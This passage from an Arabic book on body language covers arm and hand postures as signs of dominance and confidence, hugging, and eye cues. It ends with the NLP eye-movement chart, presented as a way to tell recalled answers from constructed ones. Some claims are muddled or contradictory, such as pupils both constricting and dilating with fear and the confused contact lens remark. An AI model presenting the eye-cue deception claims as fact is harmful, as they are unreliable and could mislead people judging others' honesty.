‫ﻻﺣظ ﻛﯾف ﯾطﺎﻟب اﻷﺷﺧﺎص اﻟواﺛﻘون ﻣن أﻧﻔﺳﮭم واﻟذﯾن ﯾﺗﻣﺗﻌون ﺑﻣﻛﺎﻧﺔ اﺟﺗﻣﺎﻋﯾﺔ ﻣرﻣوﻗﺔ ﺑﺎﻟﻣزﯾد ﻣن اﻟﻣﺳﺎﺣﺔ أﻛﺛر ﻣن ﻏﯾرھم ﻣﻣن ھم أﻗل‬
‫ﺛﻘﺔ‪ ،‬وﻣﻛﺎﻧﺔ اﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻗد ﯾﺿﻊ اﻟرﺟل اﻟﻣﺳﯾطر ذراﻋﮫ ﺣول اﻟﻣﻘﻌد ﻟﯾﺟﻌل اﻟﺟﻣﯾﻊ ﯾﻌرﻓون أﻧﮫ ﻣﻠﻛﮫ‪ ،‬ﻋﻼوة ﻋﻠﻰ ذﻟك‪،‬‬
‫ﺑﺎﻟﻧﺳﺑﺔ "ﻟﺳﻠوﻛﯾﺎت اﻟﻣﺎﺋدة"‪ ،‬ﻋﻠﯾك أن ﺗدرك أن اﻷﺷﺧﺎص أﺻﺣﺎب اﻟﻣﻛﺎﻧﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣرﻣوﻗﺔ ﺳﯾطﺎﻟﺑون ﻋﺎدة ﺑﺎﻟﻣزﯾد ﻣن اﻟﻣﺳﺎﺣﺔ ﺑﻘدر‬
‫اﻹﻣﻛﺎن وذﻟك ﺑﻣﺟرد ﺟﻠوﺳﮭم‪ ،‬ﺑﺎﺳطﯾن أذرﻋﮭم أو أﺷﯾﺎءھم )ﺣﺎﻓظﺔ أوراق‪ ،‬ﺣﺎﻓظﺔ ﻧﻘود‪ ،‬أوراق( ﻋﻠﻰ اﻟطﺎوﻟﺔ‪ .‬إذا ﻛﻧت ﻣوظف ﺟدﯾد ﺑﺄﺣدي‬
‫اﻟﻣؤﺳﺳﺎت‪ ،‬ﻻﺣظ ھؤﻻء اﻷﺷﺧﺎص اﻟذﯾن ﯾﺳﺗﺧدﻣون أدواﺗﮭم اﻟﺷﺧﺻﯾﺔ أو أذرﻋﮭم ﻟﻠﻣطﺎﻟﺑﺔ ﺑﺟزء أﻛﺑر ﻣن اﻟﻣﻛﺎن أﻛﺛر ﻣن اﻵﺧرﯾن‪ .‬ﺣﺗﻰ‬
‫ﻋﻠﻰ طﺎوﻟﺔ اﻻﺟﺗﻣﺎﻋﺎت‪ ،‬ﻓﺈن اﻟﻣﺳﺎﺣﺔ ﺗﺳﺎوى اﻟﻘوة واﻟﻣﻧزﻟﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ؛ ﻟذﻟك ﻛن ﻣﻧﺗﺑﮭﺎ ﻟﮭذا اﻟﺳﻠوك ﻏﯾر اﻟﻣﻠﻔوظ واﺳﺗﺧدﻣﮫ ﻟﺗﻘدﯾر اﻟﻣﻧزﻟﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺣﻘﯾﻘﯾﺔ أو اﻟﻣﻌﻧوﯾﺔ ﻟﺷﺧص ﻣﺎ‪ .‬وﺑﺎﻟﺗﺎﻟﻲ ﻓﺈن اﻟﺷﺧص اﻟذي ﯾﺟﻠس ﻋﻠﻰ طﺎوﻟﺔ اﻻﺟﺗﻣﺎﻋﺎت وﻣرﻓﻘﺎه ﻋﻠﻰ ﺧﺻره وذراﻋﺎه ﺑﯾن‬
‫ﺳﺎﻗﯾﮫ ﯾرﺳل رﺳﺎﻟﺔ ﺗدل ﻋﻠﻰ اﻟﺿﻌف وﻗﻠﺔ اﻟﺛﻘﺔ‪.‬‬
‫وﺿﻊ اﻟﯾدﯾن ﻋﻠﻰ اﻟﺧﺻر‬
‫ھذا أﺣد اﻟﺳﻠوﻛﯾﺎت اﻟﻣﻛﺎﻧﯾﺔ اﻟﻣﺳﺗﺧدﻣﺔ ﻟﺗﺄﻛد اﻟﺳﯾطرة وﻟﺗظﮭر اﻟﺳﻠطﺔ ﺑﺎﺳم اﻟﯾدﯾن ﻋﻠﻰ اﻟﺧﺻر‪ .‬ﯾﺳﺗﻠزم ھذا اﻟﺳﻠوك اﻟﻐﯾر ﻣﻠﻔوظ ﺛﻧﻰ‬
‫اﻟﺷﺧص ﻟﻛﻠﺗﺎ ذراﻋﯾﮫ ﻟﺗﺄﺧذ ﺷﻛل ﺣرف ‪ v‬ﺣﯾث ﺗﻛون ﯾداه ﻣوﺿوﻋﺗﯾن )ﻣﻊ وﺿﻊ أﺻﺎﺑﻊ اﻹﺑﮭﺎم ﻟﻠﺧﻠف( ﻋﻠﻰ اﻷوراك‪ .‬راﻗب زي ﺿﺑﺎط‬
‫اﻟﺷرطﺔ أو اﻟﻣوظﻔﯾن اﻟﻌﺳﻛرﯾﯾن ﻋﻧدﻣﺎ ﯾﺗﺣدﺛون إﻟﻰ أﺣدھم اﻵﺧر‪ .‬داﺋﻣﺎ ﻣﺎ ﯾﻘوﻣون ﺑوﺿﻊ اﻟﯾدﯾن ﻋﻠﻰ اﻟﺧﺎﺻرة‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن أن ذﻟك‬
‫ﺟزء ﻣن ﺗدرﯾﺑﮭم اﻟرﺳﻣﻲ‪ ،‬ﻓﺈﻧﮫ ﻻ ﯾﻧﻌﻛس ﺟﯾدا ﻋﻠﻰ ﺣﯾﺎﺗﮭم اﻟﺧﺎﺻﺔ‪ .‬ﯾﻧﺻﺢ اﻟﻣوظﻔﯾن اﻟﻌﺳﻛرﯾون اﻟذﯾن ﯾﺗرﻛون اﻟﺧدﻣﺔ ﻟﻠدﺧول إﻟﻰ ﻋﺎﻟم‬
‫رﺟﺎل اﻷﻋﻣﺎل ﺑﺗﻠطﯾف ﺗﻠك اﻟﺻورة ﺣﺗﻰ ﻻ ﯾظﮭروا ﺑﺷﻛل ﻣﺗﻛﻠف ﻟﻠﻐﺎﯾﺔ‪ .‬اﻟﺗﻘﻠﯾل ﻣن وﺿﻊ اﻟﯾد ﻋﻠﻰ اﻟﺧﺎﺻرة ﯾﻣﻛﻧﮫ اﻟﺗﺧﻔﯾف ﻣن ﺣدة‬
‫اﻟﺳﻠوك اﻟﻌﺳﻛري اﻟذي ﯾﻌﺗﺑره اﻟﻣدﻧﯾون ﻣﺛﯾرا ﻟﻠﻘﻠﻖ‪.‬‬
‫ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﻧﺳﺎء‪ ،‬ﻗد ﯾﻛون ﻟﻠذراﻋﯾن‪ ،‬ووﺿﻊ اﻟﯾد ﻋﻠﻰ اﻟﺧﺎﺻرة اﺳﺗﺧدام ﺧﺎص‪ .‬ﻟﻘد ﻋﻠﻣت اﻟﻣدراء ﻣن اﻟﻧﺳﺎء أن ذﻟك ﯾﻌﺗﺑر ﺳﻠوﻛﺎ ﻏﯾر ﻣﻠﻔوظ‬
‫ﻗوﯾﺎ ﯾﻣﻛن أن ﯾﺳﺗﺧدﻣوه ﻟدى ﻣواﺟﮭﺔ اﻟذﻛور ﻓﻲ ﻏرﻓﺔ اﻻﺟﺗﻣﺎﻋﺎت‪ .‬إﻧﮭﺎ طرﯾﻘﺔ ﻓﻌﺎﻟﺔ ﻷي ﺷﺧص‪ ،‬ﺧﺎﺻﺔ ﻟﻠﻣرأة‪ ،‬ﻹظﮭﺎر أﻧﮭﺎ ﺗﺻﻣم ﻋﻠﻰ‬
‫رأﯾﮭﺎ‪ ،‬وواﺛﻘﺔ ﻣن ﻧﻔﺳﮭﺎ‪ ،‬وراﻓﺿﺔ أن ﺗﺗم ﻣﺿﺎﯾﻘﺗﮭﺎ‪ .‬ﻓﻲ أﺣوال ﻛﺛﯾرة ﺗدﺧل اﻟﻧﺳﺎء اﻟﺷﺎﺑﺎت ﻣﺣل اﻟﻌﻣل وﯾﺗﻌرﺿن ﻟﻠﻣﺿﺎﯾﻘﺔ ﺑﺷﻛل ﻏﯾر‬
‫ﻣﻠﻔوظ ﻣن ﻗﺑل اﻟذﻛور اﻟذﯾن ﯾﺻرون ﻋﻠﻰ اﻟﺣدﯾث ﻣﻌﮭم وأﯾﺎدﯾﮭم ﻋﻠﻰ ﺧﺎﺻراﺗﮭم ﻛﺳﻠوك ﻹظﮭﺎر اﻟﺳﯾطرة اﻟﻣﻛﺎﻧﯾﺔ‪.‬‬
‫ﺗﻘﻠﯾد ھذا اﻟﺳﻠوك‪-‬أو اﺳﺗﺧداﻣﮫ أوﻻ‪-‬ﯾﺳﺎﻋد ﻋﻠﻰ ﺗﻣﮭﯾد اﻟﻣﻠﻌب ﻟﻠﻧﺳﺎء اﻟﻼﺋﻲ ﯾﻛن ﻏﯾر ﻣﺳﺗﻌدات ﻟﻼﺗﺻﺎف ﺑﺎﻟﺣزم‪ .‬ﯾﻌﺗﺑر وﺿﻊ اﻟذراﻋﯾن ﻋﻠﻰ‬
‫اﻟﺧﺎﺻرة طرﯾﻘﺔ ﺟﯾدة ﻟﻠﺗﺻرﯾﺢ ﺑﺄن ھﻧﺎك "أﻣورا" أو "أﺷﯾﺎء ﻟﯾﺳت ﻋﻠﻰ ﻣﺎ ﯾرام" أو ﻟﻠﺗﺻرﯾﺢ ﺑﺗﻠك اﻟرﺳﺎﻟﺔ‪" :‬أﻧﺎ ﻣﺻﻣم ﻋﻠﻰ رأﯾﻲ"‬
‫ھﻧﺎك أﺷﻛﺎل ﻣﺗﻧوﻋﺔ ﻟﻠوﺿﻊ اﻟﺗﻘﻠﯾدي ﻟﻠذراﻋﯾن اﻟﻣوﺿوﻋﯾن ﺣول اﻟﺧﺎﺻرة )واﻟذي ﯾﺗم ﻋﺎدة ﻋﻧدﻣﺎ ﺗﻛون اﻟﯾدان ﻋﻠﻰ اﻷوراك وأﺻﺎﺑﻊ اﻹﺑﮭﺎم‬
‫ﻣوﺟﮭﺔ ﻧﺎﺣﯾﺔ اﻟظﮭر( واﻟذي ﺗوﺿﻊ ﻓﯾﮫ اﻟﯾدان ﻋﻠﻰ اﻷوراك‪ ،‬وﻟﻛن أﺻﺎﺑﻊ اﻷﺑﮭﺎم ﺗﻛون ﻣوﺟﮭﺔ ﻟﻸﻣﺎم‪ .‬ﺗﺗم رؤﯾﺔ ھذا اﻟﺳﻠوك ﻏﺎﻟﺑﺎ ﻋﻧدﻣﺎ‬
‫ﯾﺷﻌر اﻟﻧﺎس ﺑﺎﻟﻔﺿول‪ ،‬وﺑﺎﻟﻘﻠﻖ ﻓﻲ اﻟوﻗت ﻧﻔﺳﮫ‪ .‬ﻗد ﯾﺗﻌﺎﻣﻠون ﻣﻊ ﻣوﻗف ﻣﺎ وھم واﺿﻌون أذرﻋﮭم ﻋﻠﻰ ﺧﺎﺻرﺗﮭم )أﺻﺎﺑﻊ اﻹﺑﮭﺎم ﻟﻸﻣﺎم‪،‬‬
‫اﻟﯾدﯾن ﻋﻠﻰ اﻷوراك‪ ،‬واﻟﻣرﻓﻖ ﻟﻠﺧﺎرج( ﻟﺗﻘدﯾر ﻣﺎ ﯾﺣدث ﺛم ﯾدﯾرون أﯾدﯾﮭم "ﻟﺗﻛون أﺻﺎﺑﻊ اﻹﺑﮭﺎم ﻟﻠﺧﻠف" ﻟﺗﺄﺳﯾس وﻗﻔﺔ اھﺗﻣﺎم أﻛﺛر ﺳﯾطرة إذا‬
‫ﺗطﻠب اﻷﻣر‪.‬‬
‫وﺿﻊ اﻟﺳﯾطرة‬
‫ﻏﺎﻟﺑﺎ‪ ،‬ﯾﺳﺗﺧدم اﻷﺷﺧﺎص أذرﻋﮭم ﻣن أﺟل اﻟﺗﺄﻛﯾد ﻋﻠﻰ ﻣﺳﺄﻟﺔ ﻣﻌﯾﻧﺔ واﻟﻣطﺎﻟﺑﺔ ﺑﺎﻟﺳﯾﺎدة اﻟﻣﻛﺎﻧﯾﺔ‪ .‬ﯾﺣدث ذﻟك ﻛﺛﯾرا أﺛﻧﺎء اﻟﻣﺣﺎدﺛﺎت ﺣﯾث ﯾﻛون‬
‫اﻟﻧﺎس ﻣﺧﺗﻠﻔﯾن ﺣول ﻗﺿﯾﺔ ﻣﺎ‪ .‬ﻓﻲ اﺟﺗﻣﺎﻋﺎت اﻟﻌﻣل‪ ،‬ﻣن اﻟﻣﺣﺗﻣل أن ﯾﻛون اﻟﻣﺗﺣدث اﻟذي ﯾﺄﺧذ )وﯾﺣﺎﻓظ ﻋﻠﻰ( ﻣﺳﺎﺣﺔ أﻛﺑر‪ ،‬أﻛﺛر ﺛﻘﺔ ﺑﺎﻟﻧﺳﺑﺔ‬
‫ﻟﻣﺎ ﺗﺗم ﻣﻧﺎﻗﺷﺗﮫ‪ .‬ﯾﻌﺗﺑر ﺑﺳط اﻟذراﻋﯾن واﺣدا ﻣن اﻟﺳﻠوﻛﯾﺎت اﻟﻐﯾر ﻣﻠﻔوظﺔ ذات اﻟدﻗﺔ اﻟﻌﺎﻟﯾﺔ ﻷﻧﮭﺎ ﺳﻠوﻛﯾﺎت ﻋﺻﺑﯾﺔ ﻓﻲ أﺻﻠﮭﺎ وﺗﺻرح ﺑﺎﻵﺗﻲ‪:‬‬
‫"أﻧﺎ واﺛﻖ ﻣن ﻧﻔﺳﻲ"‪ ،‬ﻓﻲ اﻟﻣﻘﺎﺑل‪ ،‬ﻻﺣظ ﻛﯾف ﯾﺳرع اﻟﺷﺧص اﻟذي ﯾﺑﺳط ذراﻋﯾﮫ ﻋﻠﻰ ﻣﻘﻌد آﺧر ﻓﻲ ﺿم ذراﻋﯾﮫ ﺟﺎﻧﺑﺎ ﻋﻧدﻣﺎ ﯾﺗم ﺳؤاﻟﮫ ﻋن‬
‫ﺷﻲء ﯾﺟﻌﻠﮫ ﯾﺷﻌر ﺑﻌدم اﻟراﺣﺔ‪.‬‬
‫اﻷذرع ﺑوﺻﻔﮭﺎ ﻗﻧوات ﻧﻘل ﻟﻠﻌﺎطﻔﺔ‬
‫ﯾﺣﺗﺎج اﻷطﻔﺎل إﻟﻰ أن ﯾﺗم ﻟﻣﺳﮭم ﺑرﻗﺔ ﺣﺗﻰ ﯾﺳﺗطﯾﻌوا أن ﯾﻛﺑروا وھم ﯾﺷﻌرون ﺑﺎﻷﻣﺎن واﻟرﻋﺎﯾﺔ‪ ،‬وﻟﻛن ﺣﺗﻰ اﻟﺑﺎﻟﻐﯾن ﯾﺳﺗطﯾﻌون أن ﯾﺳﺗﺧدﻣوا‬
‫اﻟﻣﻌﺎﻧﻘﺔ اﻟﺟﯾدة ﻣن وﻗت ﻷﺧر‪ .‬أﻗدم ﻋﻠﻰ ﻣﻌﺎﻧﻘﺔ اﻵﺧرﯾن ﻛﺛﯾرا ﻷن اﻟﻣﻌﺎﻧﻘﺔ ﺗﻧﻘل اﻻھﺗﻣﺎم واﻟﻌﺎطﻔﺔ ﺑطرﯾﻘﺔ أﻛﺛر ﻓﺎﻋﻠﯾﺔ ﻣن اﻟﻛﻠﻣﺎت‪.‬‬
‫وﻋﻠﻰ اﻟرﻏم ﻣن أن ذﻟك اﻟﻌﻧﺎق اﻟﻘوى واﻟﻔﻌﺎل ﻗد ﯾﺳﺎﻋدك ﻋﻠﻰ ﻛﺳب اﻟﺗﺄﯾﯾد أو اﻟﺗواﺻل ﺑﻔﺎﻋﻠﯾﺔ ﻣﻊ اﻵﺧرﯾن‪ ،‬إﻻ أن اﻟﺑﻌض ﻗد ﯾراه ﻛﺗطﻔل‬
‫ﻏﯾر ﻣرﻏوب ﻓﯾﮫ وﺗﻌد ﻋﻠﻰ ﻣﺳﺎﺣﺗﮭم اﻟﺷﺧﺻﯾﺔ‪ .‬وﻓﻰ ھذا اﻟﻌﺻر اﻟﻣﻠﻲء ﺑﺎﻟﺧﻼﻓﺎت –ﺣﯾث ﯾﻣﻛن إﺳﺎءة ﻓﮭم اﻟﻌﻧﺎق ﺣﺳن اﻟﻧﯾﺔ ﺑﺷﻛل ﺧﺎطﺊ‪-‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪885‬‬

‫ﯾﺟب أن ﯾﻛون اﻟﻣرء ﺣذرا ﻟﺋﻼ ﯾﻘدم ھذا اﻟﻌﻧﺎق ﻋﻧدﻣﺎ ﻻ ﯾﻛون ﻣرﻏوﺑﺎ ﻓﯾﮫ‪ .‬ﻛﺎﻟﻣﻌﺗﺎد‪ ،‬اﻟﻣﻼﺣظﺔ واﻟﺗﻔﺳﯾر اﻟدﻗﯾﻖ ﻟﺳﻠوك اﻷﺷﺧﺎص ﺑﯾﻧﻣﺎ‬
‫ﺗﺗﻔﺎﻋل ﻣﻌﮭم ﺳﯾﻛون دﻟﯾﻠك اﻷﻓﺿل ﻋﻠﻰ ﻣدى ﻣﻼءﻣﺔ أو ﻋدم ﻣﻼءﻣﺔ اﻟﻌﻧﺎق ﻓﻲ أي ظرف‪.‬‬

‫إﺷﺎرات اﻟﻌﯾن )‪(Eye Cues‬‬

‫"أﻧﺎ ﻟﺳت ﺑﺣﺎﺟﺔ إﻟﻰ ﻛﺗﺎب ﻣن اﻻﻗﺗﺑﺎﺳﺎت ﻷﻋرف أن اﻟﻌﯾون ھﻲ ﻧواﻓذ اﻟروح "‪.‬‬
‫‪Max Beerbohm English Parodist‬‬
‫ﺧﻂ اﻷﺳﺎس )‪(Baseline‬‬
‫ﻓﻲ ﺣﯾن أن اﻟﻌﯾون أﺳﮭل ﻓﻲ اﻟرؤﯾﺔ‪ ،‬وﻟﻛن ھﻲ أﺻﻌب ﻓﻲ اﻟﺗﻔﺳﯾر‪ .‬اﻻﺧﺗﻼﻓﺎت اﻷﺳﺎﺳﯾﺔ ﻓﻲ اﻟﺛﻘﺎﻓﺔ واﻟﻌﺎدات واﻟﺟﻧس أو اﻟدﯾن ﻛﻠﮫ ﯾﻣﻛن أن‬
‫ﺗﻐﯾر طرﯾﻘﺔ اﺳﺗﺧدام اﻟﻧﺎس ﻋﯾوﻧﮭم ﺧﻼل اﻟﻣﺣﺎدﺛﺔ‪ .‬واﺣد ﻣن أول اﻷﺷﯾﺎء اﻟﮭﺎﻣﺔ ﻟﻠﻘﯾﺎم ﺑﮫ ھو ﺧط اﻷﺳﺎس ﻷﻧﻣﺎط اﺗﺻﺎل اﻟﻌﯾن اﻟﻌﺎدي‪ .‬ھل‬
‫ﺗﻧظر ﺑﻌﯾدا‪ ،‬اﻟﺗﺣدﯾﻖ ﻓﻲ ﻋﯾﻧﯾك أو إﺧﻔﺎء وﺟوھﮭم؟ إذا ﻛﻧت ﻻ ﺗﻌرف ﻣﺎ ھو اﻟطﺑﯾﻌﻲ‪ ،‬ﻛﯾف ﯾﻣﻛﻧك اﻟدﻻﻟﺔ ﻋﻠﻰ اﻟﺗﻐﯾﯾر؟ ﻣن اﻟﻣﮭم ﻓﻲ ھذه‬
‫اﻟﻣرﺣﻠﺔ ﻋدم اﺳﺗﺧدام أﻧﻣﺎط اﺗﺻﺎل اﻟﻌﯾن اﻟﺧﺎﺻﺔ ﺑﻧﺎ ﻟﻠﺣﻛم ﻋﻠﻰ ﻣدى اﺳﺗﺟﺎﺑﺔ ﺷﺧص آﺧر‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل اﻟﺷﺧص اﻟذي ﯾﻧظر ﻓﻲ‬
‫ﻋﯾﻧﯾك‪ ،‬ﻗد ﻻ ﯾوﺿﻊ ﻣن ﻗﺑل ﺷﺧص ﻻ ﯾﻌطﻲ أي اﺗﺻﺎل ﺑﺎﻟﻌﯾن‪ .‬ھذا ھو اﻟﺳﺑب ﻓﻲ أن ﺗﺣدﯾد ﺧط اﻷﺳﺎس أﻣر ﺣﯾوي ﻟﺗﺣﻘﯾﻖ اﻟﻧﺟﺎح‪.‬‬
‫أﺗـﺼﺎل اﻟﻌﯿﻦ )‪(Eye Contact‬‬
‫ﯾﻣﻛن ﻟﺑﻌض اﻻﺷﺎرات اﻟﺗﻲ ﺗﻘدﻣﮭﺎ اﻟﻌﯾون ﻣﺳﺎﻋدﺗك ﻓﻲ اﻟﻌﺛور ﻋﻠﻰ اﻟﻣﻧﺎطﻖ اﻟﺗﻲ ﻗد ﺗﺣﺗﺎج إﻟﻰ ﻣزﯾد ﻣن اﻟﺗﺣﻘﯾﻖ‪ .‬ﻋﻧدﻣﺎ ﯾﺻﺑﺢ اﻟﺷﺧص‬
‫ﻣﺷﺎﻛس ﻟﻠﻣﺗﺣدث‪ ،‬ﻧﻣط اﺗﺻﺎل اﻟﻌﯾون ﻟدﯾﮫ ﯾرﺗﻔﻊ‪" .‬اﻟﻌﯾون اﻟﻣراوﻏﺔ‪/‬اﻟﻣﺎﻛرة" ﺗﻛون ﻣﮭﻣﺔ ﺣﻘﺎ إذا ﻛﺎﻧت ھﻧﺎك ﻣﺟﻣوﻋﺔ ﻣن اﻟﻌﻼﻣﺎت‬
‫اﻷﺧرى‪ .‬ﯾﻣﻛن ﻣراﻗﺑﺔ طول اﺗﺻﺎل اﻟﻌﯾن أﯾﺿﺎ واﻟذي ﯾﻌطﯾك أدﻟﺔ ﻋﻠﻰ ﻣﺟﺎﻻت ﺗﺣﺗﺎج إﻟﻰ ﻣزﯾد ﻣن اﻟﺗﺣﻘﯾﻖ‪ .‬ھل ﯾﻧظر ﺑﻌﯾدا أو ﻣﻧﺧﻔﺿﺎ‬
‫ﺧﻼل ﻣوﺿوع ﻣﻌﯾن؟ ھذا اﻟﻣوﺿوع ﯾﺣﺗﺎج أﯾﺿﺎ ﻟﻣزﯾد ﻣن اﻟﺗﺣﻘﯾﻖ‪.‬‬
‫ﺗذﻛر ﻋﻧدﻣﺎ ﺗﺷﺎھدھم‪ ،‬ﻓﺄﻧﮭم ﯾﺷﺎھدوﻧك أﯾﺿﺎ! اﻟﻣﺗﻛﻠم ﯾرﯾد أن ﯾﻌﺗﻘد أﻧﮫ ﺳوف ﯾﺳﺗﺧدم إﺷﺎراﺗك اﻟﺑﺻرﯾﺔ‪/‬اﻟﻣﺎدﯾﺔ ﻛﻣﻘﯾﺎس ﻟﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎﻧوا‬
‫ﺑدأوا ﯾﻌﺗﻘدون‪ .‬ﻋﻧد ﺗﻘﯾﯾم اﻹﺷﺎرات اﻟﺑﺻرﯾﺔ ﻛون ﺣذرا ﺟدا ﻟﯾس ﻓﻘط اﻹﺷﺎرات اﻟﺑﺻرﯾﺔ اﻟﺧﺎﺻﺔ ﺑك وﻟﻛن أﯾﺿﺎ ﻛل اﻷوﺿﺎع اﻟﻔﯾزﯾﺎﺋﯾﺔ‬
‫اﻟﺧﺎﺻﺔ ﺑك‪ .‬ﺧﺻوﺻﺎ أھﻣﯾﺔ ﻣﻼﺣظﺔ إذا ﻛﺎﻧت ﻋﯾوﻧﮭم ﺗﻐﻠﻖ ﺛم ﺗﻔﺗﺢ؛ ھذا ھو اﻟﺣوار اﻟداﺧﻠﻲ وﻋﺎدة ﯾﺑﺷر ﺑوﺟود ﺗﻐﯾﯾر ﻓﻲ اﻟﻌﻘﻠﯾﺔ ﻣن‬
‫اﻟﻣﺗﻛﻠم‪ .‬ﯾرﺗدى اﻟﻧﺎس اﻟﻌدﺳﺎت اﻟﻼﺻﻘﺔ ﻟرؤﯾﺔ أﻓﺿل وﻟﻛﻧﮫ ﯾﻌﻧﻲ أﯾﺿﺎ أﻧﮭم ﯾﻘوﻣون ﺑﺈﺧﻔﺎء إﺷﺎرات اﻟﻌﯾن وراء ھذا اﻟزوج ﻣن اﻟﻧظﺎرات‪.‬‬
‫ﺣﺪﻗﺔ اﻟﻌﯿﻦ )‪(Pupils‬‬
‫ﻣراﻗﺑﺔ اﺳﺗﺟﺎﺑﺎت اﻟﺣدﻗﺔ ﻟﻠﺗﻐﯾﯾرات ھو أﯾﺿﺎ ﻣﮭم ﻓﻲ اﻷﺳﺎس ﻟﺗﻘﯾﯾم اﻟﻧﺎس‪ .‬ﺣدﻗﺔ اﻟﻌﯾن )‪ (Pupils‬ﻋﺎدة ﺗﻧﻘﺑض ﻣﻊ اﻟﺧوف‪/‬اﻟﻐﺿب‪ .‬اﻟﻣﻔﺎﺟﺄة‬
‫واﻟﺧوف ﯾﻣﻛن أن ﯾﺳﺑب ﺗﻣدد ﻓﻲ ﺣدﻗﺔ اﻟﻌﯾن )‪ .(Pupils‬ﻣﺎ ھﻲ اﻟﻣوﺿوﻋﺎت اﻟﺗﻲ ﺗﺳﺑب ﺗﻐﯾرات ﺣدﻗﺔ اﻟﻌﯾن )‪(Pupils‬؟‬
‫اﻟﺘﻄﺎﺑﻖ اﻟﻠﻔﻈﻲ )‪(Verbal In congruencies‬‬
‫ﻣﻧطﻘﺔ ﻣﮭﻣﺔ ﻋﻧد رﺻد اﻻﺗﺻﺎل اﻟﻣرﺋﻲ ھﻲ ﻣراﻗﺑﺔ اﻟﺗﻧﺎﻗض اﻟﻠﻔظﻲ‪ .‬ھل ﺗطﺎﺑﻖ ﻋﯾوﻧﮭم ﻣﻊ ﻛﻼﻣﮭم؟‬
‫‪Sanpaku‬‬
‫ﺗﺣت اﻟﺿﻐط اﻟﺷدﯾد ھﻧﺎك ﻋﻼﻣﺔ ﺑدﻧﯾﮫ ﺗﻌرف ﺑﺎﺳم ‪ Sanpaku‬أو ‪ ،3 whites‬ﺣﯾث ﯾﻣﻛن رؤﯾﺔ ﺑﯾﺎض اﻟﻌﯾﻧﯾن ﻋﻠﻰ اﻟﺟﺎﻧﺑﯾن وﺗﺣت اﻟﻌﯾن‬
‫ﯾﻛون واﺿﺢ‪ .‬ﺳوف ﻧرى أﻣﺛﻠﺔ ﻟﮭذا ﻻﺣﻘﺎ‪.‬‬
‫إﺷﺎرات اﻟﻌﯿﻦ )‪(Eye Cues‬‬
‫ﻛﺛﯾر ﻣن اﻟﻧﺎس ﯾﻌﺗﻘدون أن اﻷﻋﯾن ﺳوف ﺗﻘول ﻟﮭم ﻣﺎ ﯾﺟري ﻓﻲ اﻟدﻣﺎغ‪ .‬رﺑﻣﺎ ﺗﻛون ﻗد ﻻﺣظت أن اﻟﻧﺎس ﺗﺣرك ﻋﯾوﻧﮭم ﻓﻲ اﺗﺟﺎھﺎت ﻣﺧﺗﻠﻔﺔ‬
‫ﻋﻧدﻣﺎ ﯾﺗﺣدﺛون‪ .‬ﺣﯾث ﯾﻌﺗﻘد اﻟﺑﻌض أن ﺣرﻛﺔ اﻟﻌﯾن ﺗرﺗﺑط ﻣﻊ ﻣﺎ ﯾﻔﻛر ﺑﮫ اﻟﻧﺎس‪ .‬ﻗد ﺗم ﺗطوﯾر ﻧظﺎم ﻗﺎﺋم ﻋﻠﻰ اﻟﺷﻌور اﻟﻣﮭﯾﻣن ﻟﻠﻣﺗﻛﻠم واﻻﺗﺟﺎه‬
‫اﻟذي ﯾﻧظر اﻟﯾﮫ اﻟﻣﺗﻛﻠم‪ .‬ﻓﯾﻣﺎ اﻟرﺳم اﻟﺑﯾﺎﻧﻲ "اﻟﻘﯾﺎﺳﻲ" اﻟذي ﯾﺗﻌﻠﻖ ﺑﺎﻟﻣﻌﻧﻰ اﻟﺳﺎﺋد واﻻﺗﺟﺎھﺎت اﻟﺗﻲ ﯾﻧظر اﻟﯾﮭﺎ اﻟﻧﺎس ﻋﻧد اﻻﻧﺷﺎء‬
‫)‪ (constructing‬أو اﻟﺗذﻛر )‪.(Remembered‬‬
‫اﻧت ﺗﻧظر ﻓﻲ طرﯾﻖ اﻟﺷﻌور اﻟﺳﺎﺋد اﻟﺧﺎص ﺑك‪ .‬ھﻧﺎ ھو اﻟرﺳم اﻟﺑﯾﺎﻧﻲ اﻟﻘﯾﺎﺳﻲ ﻟﻠﺗوﺟﯾﮫ واﻟﺣواس اﻟﻣﮭﯾﻣﻧﺔ‪.‬‬
‫اﻟﻧﻣوذج اﻟﺣﺳﻲ )‪(Sensory Model‬‬ ‫ﺣرﻛﺔ اﻟﻌﯾن )‪(Eyes Look‬‬
‫ﻟﻔظﻲ )‪(verbal‬‬ ‫ﺟﺎﻧﺑﯾﺎ )‪(Sideways‬‬
‫ﺑﺻري )‪(visual‬‬ ‫أﻋﻠﻰ اﻟﻰ اﻟﺟﺎﻧﺑﯾن )‪(Up, to sides‬‬
‫ﺣرﻛﻲ )‪(Kinetics‬‬ ‫أﺳﻔل اﻟﻰ اﻟﺟﺎﻧﺑﯾن )‪(Down, to sides‬‬

‫‪VC – Visual Constructed‬‬ ‫‪VR – Visual Remembered‬‬

‫‪AC – Auditory Constructed V – Visual Constructed/Remembered AR – Auditory Remembered‬‬
‫‪K – Kinesthetic‬‬ ‫‪Ai – Auditory Digital‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪886‬‬

‫ﻣﻠﺣوظﮫ‪ :‬ﻣن اﻟﻣﻣﻛن ان ﺗﺧﺗﻠف ﻓﻲ اﻷﺷﺧﺎص اﻟذﯾن ﯾﺳﺗﺧدﻣون اﻷﯾدي اﻟﯾﺳرى‪.‬‬

‫أﺳﺄل أﺳﺋﻠﺔ ﺧﺎﺿﻌﺔ وﻣن ﺛم راﻗب أﯾن ﺗذھب ﻋﯾوﻧﮭم‪ ،‬ﯾﻣﻛﻧﮭﺎ أن ﺗﻘول ﻟﻛم إذا ﻛﺎﻧوا ﯾﺗذﻛروا اﻟﻣﻌﻠوﻣﺎت أو ﯾﻧﺷﺋوا اﻟﻣﻌﻠوﻣﺎت‪.‬‬
